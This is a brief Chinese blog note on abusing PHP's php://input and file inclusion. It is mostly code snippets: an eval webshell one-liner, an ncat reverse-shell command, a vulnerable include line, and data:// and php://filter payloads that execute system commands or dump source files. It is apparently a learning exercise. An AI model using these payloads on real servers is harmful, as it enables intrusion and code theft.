@eval(file_get_contents(‘php://input’))
我是个十足的php菜鸟,只有用到的时候才会去查查语法书,对php://input也只是有点印象而已,于是用脚本phpinput.php,配合firefox Hackbar插件测试了一下php://input的功能
1
2
3
4
5
|
<?php
$data=file_get_contents(‘php://input’);
echo $data.“<br/>”;
//@eval(file_get_contents(‘php://input’))
?>
|
发现php://input是用来接收post数据(这里有php://input的介绍)
1
|
<?php @eval(file_get_contents(‘php://input’))?>
|
1
|
system(‘ncat -e /bin/bash localhost 1234′);
|
1
|
<?php @include($_GET[“file”])?>
|
1
|
<?php system(‘ifconfig’);?>
|
1
|
<?php system(‘cat /var/www/FileInclude.php’)?>
|
1
|
data:text/plain,<?php system(‘cat /var/www/FileInclude.php’)?>
|
1
|
data:text/plain;base64,[攻击代码的base64编码]
|
1
|
<?php system(‘cat /var/www/FileInclude.php’);
|
如果写成下面这样,就不能执行
1
|
<?php system(‘cat /var/www/FileInclude.php’);>
|
1
|
php://filter/read=convert.base64-encode/resource=[文件路径]
|
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号